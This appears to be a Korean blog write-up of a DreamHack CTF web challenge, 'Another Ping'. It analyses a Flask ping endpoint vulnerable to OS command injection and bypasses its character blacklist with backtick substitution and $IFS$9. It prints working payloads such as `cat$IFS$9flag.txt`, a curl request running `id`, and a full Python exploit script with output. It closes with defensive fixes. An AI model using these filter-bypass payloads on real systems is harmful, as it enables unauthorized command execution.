[๐Ÿฅ‰ Bronze 2] ๋ธ”๋ž™๋ฆฌ์ŠคํŠธ๊ฐ€ ๋น ๋œจ๋ฆฐ ๋ฐฑํ‹ฑ โ€” $IFS๋กœ ๊ณต๋ฐฑ ์—†์ด RCE โ€” DreamHack Another Ping ํ’€์ด

2026-06-06ยท1๋ถ„ ์ฝ๊ธฐยท

[๐Ÿฅ‰ Bronze 2] ๋ธ”๋ž™๋ฆฌ์ŠคํŠธ๊ฐ€ ๋น ๋œจ๋ฆฐ ๋ฐฑํ‹ฑ โ€” $IFS๋กœ ๊ณต๋ฐฑ ์—†์ด RCE โ€” DreamHack Another Ping ํ’€์ด

ping ์œ ํ‹ธ๋ฆฌํ‹ฐ๊ฐ€ ์ž…๋ ฅ์„ shell=True๋กœ ๊ทธ๋Œ€๋กœ ์‹คํ–‰ํ•œ๋‹ค. ๊ณต๋ฐฑยท์„ธ๋ฏธ์ฝœ๋ก ยทํŒŒ์ดํ”„๋Š” ๋ง‰์•˜์ง€๋งŒ ๋ฐฑํ‹ฑ์ด ๋ธ”๋ž™๋ฆฌ์ŠคํŠธ์— ์—†์–ด ๋ช…๋ น์น˜ํ™˜์ด ํ†ตํ•˜๊ณ , ๋ง‰ํžŒ ๊ณต๋ฐฑ์€ $IFS๋กœ ๋Œ€์ฒดํ•œ๋‹ค. `cat$IFS$9flag.txt` ํ•œ ์ค„๋กœ flag๋ฅผ ping ์—๋Ÿฌ ๋ฉ”์‹œ์ง€์— ํ˜๋ ค๋ณด๋ƒˆ๋‹ค.

๋ฌธ์ œ: DreamHack โ€” Another Ping ๋ถ„๋ฅ˜: Web ๋‚œ์ด๋„: ๐Ÿฅ‰ Bronze 2 FLAG: DH{c64c86a3e2121098:jX/Cq3xsaJFPnUtz3AEzXg==}

"Another, yet boring ping utility?" ๋ผ๋Š” ์„ค๋ช… ๊ทธ๋Œ€๋กœ, IP๋ฅผ ๋„ฃ์œผ๋ฉด ์„œ๋ฒ„๊ฐ€ ping์„ ๋Œ๋ ค์ฃผ๋Š” ๋‹จ์ˆœํ•œ ํŽ˜์ด์ง€๋‹ค. boringํ•œ ๊ฑด ํ™”๋ฉด๋ฟ์ด๊ณ  ๋’ค์—์„œ๋Š” ์ž…๋ ฅ์„ ์…ธ์— ๊ทธ๋Œ€๋กœ ๋˜์ง„๋‹ค.

๋ฉ”์ธ โ€” Ping Utility ์ž…๋ ฅ ํผ
๋ฉ”์ธ โ€” Ping Utility ์ž…๋ ฅ ํผ


๋ฌธ์ œ ๊ฐœ์š”

ํ•ญ๋ชฉ๋‚ด์šฉ
๋ฌธ์ œ๋ช…Another Ping
๋‚œ์ด๋„๐Ÿฅ‰ Bronze 2
๋ถ„๋ฅ˜Web (OS Command Injection)
์ œ๊ณตFlask ์†Œ์Šค + ์„œ๋ฒ„
ํ•ต์‹ฌ ์ทจ์•ฝ์ shell=True ์ปค๋งจ๋“œ ์ธ์ ์…˜ + ๋ธ”๋ž™๋ฆฌ์ŠคํŠธ ์šฐํšŒ

์„œ๋ฒ„ ์ฝ”๋“œ๋Š” ์งง๋‹ค. /ping์ด ๋ฐ›์€ ip๋ฅผ ping -c 4 {ip} ๋ฌธ์ž์—ด๋กœ ๋งŒ๋“ค์–ด shell=True๋กœ ์‹คํ–‰ํ•˜๊ณ , ๊ฒฐ๊ณผ stdout/stderr๋ฅผ JSON์œผ๋กœ ๋Œ๋ ค์ค€๋‹ค. ์ž…๋ ฅ ๊ฒ€์ฆ์€ ๋ฌธ์ž ๋ธ”๋ž™๋ฆฌ์ŠคํŠธ ํ•˜๋‚˜๋ฟ์ด๋‹ค.



๐Ÿ”ฌ ๋ถ„์„

์„œ๋ฒ„ ์ฝ”๋“œ

FILTERED_CHARS = [' ', ';', '|', '&', '>', '<', '(', ')', '[', ']', '{', '}', '\n', '\r']
 
def is_valid_ip(ip):
    ip_pattern = r'^(\d{1,3}\.){3}\d{1,3}$'
    return bool(re.match(ip_pattern, ip))
 
def filter_input(user_input):
    for char in FILTERED_CHARS:
        if char in user_input:
            return False, f"Invalid character detected: {char}"
    return True, "OK"
 
@app.route('/ping', methods=['POST'])
def ping():
    ip = request.form.get('ip', '').strip()
    if not ip:
        return jsonify({'error': 'IP address is required'}), 400
 
    is_valid, message = filter_input(ip)        # โ† ๋ธ”๋ž™๋ฆฌ์ŠคํŠธ๋งŒ ๊ฒ€์‚ฌ
    if not is_valid:
        return jsonify({'error': message}), 400
 
    cmd = f"ping -c 4 {ip}"                       # โ† ์ž…๋ ฅ์ด ์…ธ ๋ฌธ์ž์—ด์— ๊ทธ๋Œ€๋กœ
    result = subprocess.run(cmd, shell=True, capture_output=True, text=True, timeout=10)
    return jsonify({'command': cmd, 'stdout': result.stdout,
                    'stderr': result.stderr, 'returncode': result.returncode})

์—ฌ๊ธฐ์„œ ๋‘ ๊ฐ€์ง€๊ฐ€ ๋ˆˆ์— ๋“ค์–ด์˜จ๋‹ค.

cmd = f"ping -c 4 {ip}"๋ฅผ shell=True๋กœ ๋Œ๋ฆฐ๋‹ค. ์ž…๋ ฅ์ด ์…ธ ๋ช…๋ น ๋ฌธ์ž์—ด์— ๊ทธ๋Œ€๋กœ ๋ผ์–ด ๋“ค์–ด๊ฐ€๋‹ˆ ์…ธ ๋ฉ”ํƒ€๋ฌธ์ž๋ฅผ ๋„ฃ์„ ์ˆ˜ ์žˆ์œผ๋ฉด ๋ช…๋ น ์ฃผ์ž…์ด๋‹ค.

๊ทธ๋ฆฌ๊ณ  is_valid_ip(). IP ํ˜•์‹์„ ์ •๊ทœ์‹์œผ๋กœ ๊ฒ€์‚ฌํ•˜๋Š” ํ•จ์ˆ˜๊ฐ€ ๋ถ„๋ช…ํžˆ ์žˆ๋Š”๋ฐ, /ping ๋ผ์šฐํŠธ ์–ด๋””์—์„œ๋„ ํ˜ธ์ถœํ•˜์ง€ ์•Š๋Š”๋‹ค. ์ •์˜๋งŒ ํ•ด๋‘๊ณ  ์•ˆ ์“ด๋‹ค. ์‹ค์ œ๋กœ ๊ฑธ๋ฆฌ๋Š” ๋ฐฉ์–ด๋Š” filter_input() ๋ธ”๋ž™๋ฆฌ์ŠคํŠธ๊ฐ€ ์ „๋ถ€๋‹ค.

์ •์ƒ ๋™์ž‘๊ณผ ๋ธ”๋ž™๋ฆฌ์ŠคํŠธ

127.0.0.1์„ ๋„ฃ์œผ๋ฉด ํ‰๋ฒ”ํ•˜๊ฒŒ ping 4๋ฒˆ ๊ฒฐ๊ณผ๊ฐ€ ๋Œ์•„์˜จ๋‹ค.

์ •์ƒ ping โ€” 127.0.0.1
์ •์ƒ ping โ€” 127.0.0.1

ํ”ํ•œ ์ฃผ์ž… ๊ตฌ๋ถ„์ž ;๋กœ ๋ช…๋ น์„ ์ด์–ด ๋ถ™์ด๋ ค ํ•˜๋ฉด ๋ฐ”๋กœ ๋ง‰ํžŒ๋‹ค. 127.0.0.1; id๋ฅผ ๋„ฃ์œผ๋ฉด ๊ณต๋ฐฑ(; ์ด์ „์— ๊ณต๋ฐฑ์ด ๋จผ์ € ๊ฑธ๋ฆฐ๋‹ค)์—์„œ ๊ฑธ๋ ค Invalid character detected: ๊ฐ€ ๋œฌ๋‹ค.

์ฐจ๋‹จ โ€” ๊ณต๋ฐฑ/์„ธ๋ฏธ์ฝœ๋ก ์ด ๋ธ”๋ž™๋ฆฌ์ŠคํŠธ์— ๊ฑธ๋ฆผ
์ฐจ๋‹จ โ€” ๊ณต๋ฐฑ/์„ธ๋ฏธ์ฝœ๋ก ์ด ๋ธ”๋ž™๋ฆฌ์ŠคํŠธ์— ๊ฑธ๋ฆผ

๋ธ”๋ž™๋ฆฌ์ŠคํŠธ๋ฅผ ์ •๋ฆฌํ•˜๋ฉด ์ด๋ ‡๋‹ค.

๋ง‰ํžŒ ๋ฌธ์ž์˜ํ–ฅ
' ' (๊ณต๋ฐฑ)์ธ์ž ๊ตฌ๋ถ„ ๋ถˆ๊ฐ€
; \n \r๋ช…๋ น ์ข…๊ฒฐยท์—ฐ๊ฒฐ ๋ถˆ๊ฐ€
` &`
> <๋ฆฌ๋‹ค์ด๋ ‰์…˜ ๋ถˆ๊ฐ€
( )$(...) ๋ช…๋ น์น˜ํ™˜ ๋ถˆ๊ฐ€
[ ] { }brace ํ™•์žฅยท${IFS} ๋ถˆ๊ฐ€

์ด˜์ด˜ํ•ด ๋ณด์ด์ง€๋งŒ ๋น ์ง„ ๊ฒŒ ์žˆ๋‹ค.


๐Ÿ’ฃ ํ•ต์‹ฌ โ€” ๋น ์ง„ ๋ฐฑํ‹ฑ, ๊ทธ๋ฆฌ๊ณ  $IFS

๋ธ”๋ž™๋ฆฌ์ŠคํŠธ์— ๋ฐฑํ‹ฑ(`)์ด ์—†๋‹ค. $(...)๋Š” ๊ด„ํ˜ธ๊ฐ€ ๋ง‰ํ˜€ ๋ชป ์“ฐ์ง€๋งŒ, ๊ฐ™์€ ์ผ์„ ํ•˜๋Š” ์˜›๋‚  ๋ฌธ๋ฒ•์ธ ๋ฐฑํ‹ฑ ๋ช…๋ น์น˜ํ™˜์€ ๊ทธ๋Œ€๋กœ ์‚ด์•„ ์žˆ๋‹ค.

๋‚จ์€ ๋ฌธ์ œ๋Š” ๊ณต๋ฐฑ์ด๋‹ค. cat flag.txt์ฒ˜๋Ÿผ ์ธ์ž๋ฅผ ๋„์šฐ๋ ค๋ฉด ๊ณต๋ฐฑ์ด ํ•„์š”ํ•œ๋ฐ ๊ทธ๊ฒŒ ๋ง‰ํ˜”๋‹ค. ์…ธ์—๋Š” ๊ณต๋ฐฑ์„ ๋Œ€์‹ ํ•  ๋ณ€์ˆ˜๊ฐ€ ์žˆ๋‹ค. $IFS(Internal Field Separator)๋Š” ๊ธฐ๋ณธ๊ฐ’์ด ๊ณต๋ฐฑยทํƒญยท๊ฐœํ–‰์ด๋ผ, ํ† ํฐ ์‚ฌ์ด์— ๋ผ์›Œ ๋„ฃ์œผ๋ฉด ๋‹จ์–ด ๋ถ„๋ฆฌ๊ฐ€ ์ผ์–ด๋‚œ๋‹ค.

$IFS ๋’ค์— ๋ฐ”๋กœ ๊ธ€์ž๋ฅผ ๋ถ™์ด๋ฉด $IFSflag ๊ฐ™์€ ๋‹ค๋ฅธ ๋ณ€์ˆ˜๋ช…์œผ๋กœ ์ฝํžˆ๋ฏ€๋กœ, ๋น„์–ด ์žˆ๋Š” ์œ„์น˜ ์ธ์ž $9๋ฅผ ๊ตฌ๋ถ„์ž๋กœ ๋ผ์›Œ $IFS$9๋กœ ๋ณ€์ˆ˜๋ช…์„ ๋Š์–ด์ค€๋‹ค. ๊ฒฐ๊ณผ์ ์œผ๋กœ cat$IFS$9flag.txt๋Š” ์…ธ์—์„œ cat๊ณผ flag.txt ๋‘ ํ† ํฐ์œผ๋กœ ๊ฐˆ๋ผ์ง„๋‹ค.

์กฐ๋ฆฝํ•˜๋ฉด ํŽ˜์ด๋กœ๋“œ๋Š” ์ด๋ ‡๋‹ค.

`cat$IFS$9flag.txt`

์ด ์ž…๋ ฅ์€ ๋ธ”๋ž™๋ฆฌ์ŠคํŠธ์˜ ์–ด๋–ค ๋ฌธ์ž๋„ ๊ฑด๋“œ๋ฆฌ์ง€ ์•Š๋Š”๋‹ค. ๋ฐฑํ‹ฑยท$ยท9ยท. ์ „๋ถ€ ํ—ˆ์šฉ ๋ฌธ์ž๋‹ค.

๋ฐฑํ‹ฑ ๋ช…๋ น์น˜ํ™˜๊ณผ $IFS๊ฐ€ ์…ธ์—์„œ ํ’€๋ฆฌ๋Š” ๊ณผ์ •
๋ฐฑํ‹ฑ ๋ช…๋ น์น˜ํ™˜๊ณผ $IFS๊ฐ€ ์…ธ์—์„œ ํ’€๋ฆฌ๋Š” ๊ณผ์ •

์ถœ๋ ฅ์„ ์–ด๋–ป๊ฒŒ ํšŒ์ˆ˜ํ•˜๋А๋ƒ๊ฐ€ ๋‚จ์•˜๋‹ค. ๋ฐฑํ‹ฑ ์•ˆ์˜ cat์ด flag๋ฅผ ๋ฑ‰์œผ๋ฉด ๊ทธ ๋ฌธ์ž์—ด์ด ping์˜ ์ธ์ž ์ž๋ฆฌ์— ๋“ค์–ด๊ฐ„๋‹ค. ping -c 4 DH{...} ๊ผด์ด ๋˜๊ณ , ping์€ DH{...}๋ฅผ ํ˜ธ์ŠคํŠธ๋ช…์œผ๋กœ ํ•ด์„ํ•˜๋ ค๋‹ค ์‹คํŒจํ•œ๋‹ค. ๊ทธ ์‹คํŒจ ๋ฉ”์‹œ์ง€๊ฐ€ stderr๋กœ ๋‚˜์˜ค๋Š”๋ฐ, ์„œ๋ฒ„๋Š” stderr๋ฅผ JSON์— ๋‹ด์•„ ๊ทธ๋Œ€๋กœ ๋Œ๋ ค์ค€๋‹ค. flag๊ฐ€ ์—๋Ÿฌ ๋ฉ”์‹œ์ง€์— ์‹ค๋ ค ๋‚˜์˜จ๋‹ค.



๐ŸŽฏ ํ’€์ด

ํŽ˜์ด๋กœ๋“œ๋ฅผ ๊ทธ๋Œ€๋กœ ip์— ๋„ฃ๊ณ  Run.

`cat$IFS$9flag.txt`

๊ฒฐ๊ณผ ํŒจ๋„์˜ STDERR์— flag๊ฐ€ ์ฐํžŒ๋‹ค.

flag ์œ ์ถœ โ€” ping ์—๋Ÿฌ ๋ฉ”์‹œ์ง€์— ์‹ค๋ ค ๋‚˜์˜จ flag
flag ์œ ์ถœ โ€” ping ์—๋Ÿฌ ๋ฉ”์‹œ์ง€์— ์‹ค๋ ค ๋‚˜์˜จ flag

Command: ping -c 4 `cat$IFS$9flag.txt`
 
=== STDERR ===
ping: DH{c64c86a3e2121098:jX/Cq3xsaJFPnUtz3AEzXg==}: Name or service not known
 
Return Code: 2

๊ฐ™์€ ๋ฐฉ์‹์œผ๋กœ ์ž„์˜ ๋ช…๋ น์ด ๋„๋Š”์ง€ ํ™•์ธํ•ด ๋ณด๋ฉด ๊ถŒํ•œ๋„ ๋“œ๋Ÿฌ๋‚œ๋‹ค. `id` ๋ฅผ ๋„ฃ์œผ๋ฉด groups=0(root) ๊ฐ€ ๋ณด์ธ๋‹ค โ€” ์ปจํ…Œ์ด๋„ˆ ์•ˆ์—์„œ root๋กœ ์‹คํ–‰ ์ค‘์ด๋‹ค.

$ curl -s -X POST http://host8.dreamhack.games:12801/ping --data-urlencode 'ip=`id`'
{"stderr": "ping: groups=0(root): Name or service not known\n", ...}

id์˜ ์ถœ๋ ฅ์€ ๊ณต๋ฐฑ์ด ๋“ค์–ด ์žˆ์–ด ๋‹จ์–ด ๋ถ„๋ฆฌ๋˜๋ฉฐ ๋งˆ์ง€๋ง‰ ํ† ํฐ๋งŒ ping์— ๋‚จ์ง€๋งŒ, ๋ช…๋ น์ด ์‹ค์ œ๋กœ ์‹คํ–‰๋œ๋‹ค๋Š” ์‚ฌ์‹ค์€ ์ถฉ๋ถ„ํžˆ ๋ณด์ธ๋‹ค. ๋‹จ์–ด ๋ถ„๋ฆฌ ์—†์ด ํ•œ ์ค„์„ ํ†ต์งธ๋กœ ํšŒ์ˆ˜ํ•˜๊ณ  ์‹ถ์„ ๋•Œ cat$IFS$9flag.txt์ฒ˜๋Ÿผ ์ถœ๋ ฅ์ด ๊ณต๋ฐฑ ์—†๋Š” ๋ช…๋ น์„ ๊ณ ๋ฅด๋ฉด ๊น”๋”ํ•˜๋‹ค.


๐Ÿš€ Full Exploit

requests๋กœ ํŽ˜์ด๋กœ๋“œ๋ฅผ ๋˜์ง€๊ณ  stderr์—์„œ flag๋งŒ ๋ฝ‘์•„๋‚ด๋Š” ์Šคํฌ๋ฆฝํŠธ.

#!/usr/bin/env python3
import re
import requests
 
BASE = "http://host8.dreamhack.games:12801"
 
def run(ip):
    return requests.post(f"{BASE}/ping", data={"ip": ip}, timeout=15).json()
 
def leak(cmd_no_space):
    # ๋ฐฑํ‹ฑ ๋ช…๋ น์น˜ํ™˜ + $IFS ๋กœ ๊ณต๋ฐฑ ์šฐํšŒ, ping stderr ๋กœ ๊ฒฐ๊ณผ ํšŒ์ˆ˜
    res = run("`" + cmd_no_space + "`")
    return res.get("stderr", "") or res.get("stdout", "")
 
if __name__ == "__main__":
    print("[*] id  ->", leak("id").strip())
    out = leak("cat$IFS$9flag.txt").strip()
    m = re.search(r"DH\{[^}]+\}", out)
    print("[+] FLAG:", m.group(0) if m else "(not found)")
[*] id  -> ping: groups=0(root): Name or service not known
[*] raw -> ping: DH{c64c86a3e2121098:jX/Cq3xsaJFPnUtz3AEzXg==}: Name or service not known
[+] FLAG: DH{c64c86a3e2121098:jX/Cq3xsaJFPnUtz3AEzXg==}

solve.py ์‹คํ–‰ โ€” ํŽ˜์ด๋กœ๋“œ ์ „์†ก ํ›„ flag ์ถ”์ถœ
solve.py ์‹คํ–‰ โ€” ํŽ˜์ด๋กœ๋“œ ์ „์†ก ํ›„ flag ์ถ”์ถœ



๐Ÿ“ ๊ฒฐ๋ก 

๋ธ”๋ž™๋ฆฌ์ŠคํŠธ๋Š” ๋น ๋œจ๋ฆฐ ํ•œ ๊ธ€์ž์—์„œ ๋ฌด๋„ˆ์ง„๋‹ค.

; | & ( ) { } ๊นŒ์ง€ ๋ง‰์•„๋‘” ํ•„ํ„ฐ์˜€์ง€๋งŒ ๋ฐฑํ‹ฑ ํ•˜๋‚˜๊ฐ€ ๋น ์กŒ๊ณ , ๋ช…๋ น์น˜ํ™˜์€ ๊ทธ ํ‹ˆ์œผ๋กœ ๊ทธ๋Œ€๋กœ ๋“ค์–ด์™”๋‹ค. ์…ธ ๋ฉ”ํƒ€๋ฌธ์ž๋Š” ์ข…๋ฅ˜๊ฐ€ ๋งŽ์•„ "์œ„ํ—˜ํ•œ ๊ฑธ ๋‹ค ์ ์–ด ๋ง‰๋Š”" ์ ‘๊ทผ์œผ๋กœ๋Š” ํ•œ ์นธ์”ฉ ์ƒˆ๊ธฐ ๋งˆ๋ จ์ด๋‹ค.

๊ณต๋ฐฑ์„ ๋ง‰์•„๋„ $IFS๊ฐ€ ์žˆ๋‹ค.

๊ณต๋ฐฑ ํ•„ํ„ฐ๋Š” ์ปค๋งจ๋“œ ์ธ์ ์…˜ ๋ฐฉ์–ด์—์„œ ํ”ํžˆ ๋ณด์ด์ง€๋งŒ ์…ธ์—๋Š” ๊ณต๋ฐฑ์„ ๋Œ€์‹ ํ•  ์ˆ˜๋‹จ์ด ์—ฌ๋Ÿฟ ์žˆ๋‹ค. $IFS, ํƒญ ๋ฌธ์ž, brace ํ™•์žฅ ๋“ฑ. ๊ณต๋ฐฑ๋งŒ ๋ง‰์•„์„œ ์ธ์ž ๋ถ„๋ฆฌ๋ฅผ ๋ชป ํ•˜๊ฒŒ ํ–ˆ๋‹ค๊ณ  ์•ˆ์‹ฌํ•  ์ˆ˜ ์—†๋‹ค.

์•ˆ ์“ฐ๋Š” ๊ฒ€์ฆ ํ•จ์ˆ˜๋Š” ๋ฐฉ์–ด๊ฐ€ ์•„๋‹ˆ๋‹ค.

is_valid_ip()๋กœ IP ํ˜•์‹์„ ๊ฐ•์ œํ–ˆ๋‹ค๋ฉด ์ด ์ฃผ์ž…์€ ์ฒ˜์Œ๋ถ€ํ„ฐ ๋ถˆ๊ฐ€๋Šฅํ–ˆ๋‹ค. ์ •์˜ํ•ด ๋‘๊ณ  ํ˜ธ์ถœํ•˜์ง€ ์•Š์œผ๋ฉด ์ฝ”๋“œ ๋ฆฌ๋ทฐ์—์„œ "๊ฒ€์ฆํ•˜๊ณ  ์žˆ๋„ค"์ฒ˜๋Ÿผ ๋ณด์ผ ๋ฟ ์‹ค์ œ๋กœ๋Š” ์•„๋ฌด ์ผ๋„ ํ•˜์ง€ ์•Š๋Š”๋‹ค. ์ œ๋Œ€๋กœ ๋œ ๋ฐฉ์–ด๋Š” subprocess.run(["ping", "-c", "4", ip], shell=False)๋กœ ์…ธ์„ ๊ฑฐ์น˜์ง€ ์•Š๊ณ , ์ž…๋ ฅ์€ IP ํ™”์ดํŠธ๋ฆฌ์ŠคํŠธ(์ •๊ทœ์‹ ํ†ต๊ณผ๋ถ„๋งŒ)๋กœ ๋ฐ›๋Š” ๊ฒƒ์ด๋‹ค.

์ด ๊ธ€์ด ๋„์›€์ด ๋๋‚˜์š”?

Comments

๋Œ“๊ธ€

0๊ฐœ

๋Œ“๊ธ€์„ ๋‚จ๊ธฐ๋ ค๋ฉด ๋กœ๊ทธ์ธ์ด ํ•„์š”ํ•ด์š”. (๋„ค์ด๋ฒ„ ยท ๊ตฌ๊ธ€ ๊ณ„์ •)

๋Œ“๊ธ€ ๋ถˆ๋Ÿฌ์˜ค๋Š” ์ค‘โ€ฆ

Related

๊ด€๋ จ ๊ธ€

3๊ฐœ
[๐Ÿฅ‰ Bronze 2] escapeshellcmd๊ฐ€ ์•ˆ ๋ง‰๋Š” ๊ณต๋ฐฑ โ€” curl ์ธ์ž ์ฃผ์ž…์œผ๋กœ ์›น์…ธ RCE โ€” DreamHack Command Injection Advanced ํ’€์ด
blog

[๐Ÿฅ‰ Bronze 2] escapeshellcmd๊ฐ€ ์•ˆ ๋ง‰๋Š” ๊ณต๋ฐฑ โ€” curl ์ธ์ž ์ฃผ์ž…์œผ๋กœ ์›น์…ธ RCE โ€” DreamHack Command Injection Advanced ํ’€์ด

escapeshellcmd๋Š” ์…ธ ๋ฉ”ํƒ€๋ฌธ์ž๋Š” ๋ง‰์ง€๋งŒ ๊ณต๋ฐฑ๊ณผ ํ•˜์ดํ”ˆ์€ ๊ทธ๋Œ€๋กœ ๋‘”๋‹ค. curl ๋ช…๋ น์— -o ์ธ์ž๋ฅผ ๋ผ์›Œ ๋„ฃ์–ด PHP ์›น์…ธ์„ ์›น๋ฃจํŠธ cache/์— ๋–จ๊ตฐ ๋’ค, ๊ทธ ์›น์…ธ๋กœ ์‹คํ–‰์ „์šฉ ๋ฐ”์ด๋„ˆ๋ฆฌ /flag๋ฅผ ๋Œ๋ ค ํ”Œ๋ž˜๊ทธ๋ฅผ ์–ป์€ ๊ณผ์ •์„ ์ •๋ฆฌํ–ˆ๋‹ค.
#dreamhack#ctf#web+5
2026-06-04#dreamhack +4
[๐Ÿฅ‰ Bronze 4] PHP ์ •๊ทœ์‹ 3๊ฒน ๋šซ๊ธฐ โ€” preg_replace ๊ฒน์นจยท์•ŒํŒŒ๋ฒณ ์—†๋Š” ๋น„๋ฒˆยทflag ํ•„ํ„ฐ ์šฐํšŒ RCE โ€” DreamHack phpreg ํ’€์ด
blog

[๐Ÿฅ‰ Bronze 4] PHP ์ •๊ทœ์‹ 3๊ฒน ๋šซ๊ธฐ โ€” preg_replace ๊ฒน์นจยท์•ŒํŒŒ๋ฒณ ์—†๋Š” ๋น„๋ฒˆยทflag ํ•„ํ„ฐ ์šฐํšŒ RCE โ€” DreamHack phpreg ํ’€์ด

PHP์˜ preg_replaceยทpreg_match๋กœ ๋งŒ๋“  ๊ด€๋ฌธ ์„ธ ๊ฐœ๋ฅผ ์ฐจ๋ก€๋กœ ๋šซ๋Š” ๋ฌธ์ œ๋‹ค. ๋‹‰๋„ค์ž„์€ 'nyang'์„ ๊ฒน์น˜๊ฒŒ ๋ผ์›Œ ํ•œ ๋ฒˆ๋งŒ ์ง€์›Œ์ง€๊ฒŒ ๋งŒ๋“ค๊ณ , ๋น„๋ฐ€๋ฒˆํ˜ธ๋Š” ์•ŒํŒŒ๋ฒณ ์—†์ด ์น˜ํ™˜ ํŒจํ„ด์„ ๋งž์ถ”๊ณ , ๋งˆ์ง€๋ง‰ cmd๋Š” 'flag' ํ•„ํ„ฐ๋ฅผ ์™€์ผ๋“œ์นด๋“œ๋กœ ์šฐํšŒํ•ด RCE๋กœ flag.txt๋ฅผ ์ฝ์—ˆ๋‹ค.
#dreamhack#ctf#web+5
2026-06-22#dreamhack +4
[๐Ÿฅ‰ Bronze 1] "IP์ธ์ง€ ๊ฒ€์ฆํ–ˆ๋‹ค"์™€ "์•ˆ์ „ํ•˜๋‹ค"๋Š” ๋‹ค๋ฅธ ๋ง์ด๋‹ค โ€” DreamHack EZ_command_injection ํ’€์ด
blog

[๐Ÿฅ‰ Bronze 1] "IP์ธ์ง€ ๊ฒ€์ฆํ–ˆ๋‹ค"์™€ "์•ˆ์ „ํ•˜๋‹ค"๋Š” ๋‹ค๋ฅธ ๋ง์ด๋‹ค โ€” DreamHack EZ_command_injection ํ’€์ด

ping์„ ๋Œ€์‹  ์‹คํ–‰ํ•ด์ฃผ๋Š” ์›น ์„œ๋น„์Šค. ์„œ๋ฒ„๋Š” ์‚ฌ์šฉ์ž๊ฐ€ ๋„ฃ์€ ๊ฐ’์„ ํŒŒ์ด์ฌ ipaddress.ip_address()๋กœ "์ง„์งœ IP ์ฃผ์†Œ์ธ์ง€" ๊ฒ€์ฆํ•œ ๋‹ค์Œ์—์•ผ ์‰˜ ๋ช…๋ น์— ๋ผ์›Œ ๋„ฃ๋Š”๋‹ค โ€” ์–ผํ• ์•ˆ์ „ํ•ด ๋ณด์ด๋Š” ๋ฐฉ์–ด๋‹ค. ๊ทธ๋Ÿฐ๋ฐ IPv6 ์ฃผ์†Œ ๋’ค์— ๋ถ™๋Š” %์ธํ„ฐํŽ˜์ด์Šค์ด๋ฆ„(scope id) ๋ถ€๋ถ„์€ ๊ทธ ๋‚ด์šฉ์„ ์ „ํ˜€ ๊ฒ€์ฆํ•˜์ง€ ์•Š๊ณ  ๊ทธ๋Œ€๋กœ ๋ณด์กดํ•œ๋‹ค๋Š” ์‚ฌ์‹ค์„ ์•Œ๊ฒŒ ๋˜๋ฉด์„œ, "์œ ํšจํ•œ IP ์ฃผ์†Œ"์ด๋ฉด์„œ ๋™์‹œ์— ์™„์ „ํ•œ ์‰˜ ์ธ์ ์…˜ ํŽ˜์ด๋กœ๋“œ์ธ ๋ฌธ์ž์—ด์„ ๋งŒ๋“ค ์ˆ˜ ์žˆ์—ˆ๋‹ค. ์œ ์ผํ•œ ๊ฑธ๋ฆผ๋Œ์€ ์ ˆ๋Œ€๊ฒฝ๋กœ์— ๋“ค์–ด๊ฐ€๋Š” ์Šฌ๋ž˜์‹œ ํ•˜๋‚˜ โ€” CIDR ํ‘œ๊ธฐ๋ฒ•๊ณผ ํ—ท๊ฐˆ๋ ค ํŒŒ์‹ฑ์ด ๊ฑฐ๋ถ€๋๋‹ค.
#dreamhack#ctf#web+4
2026-07-21#dreamhack +4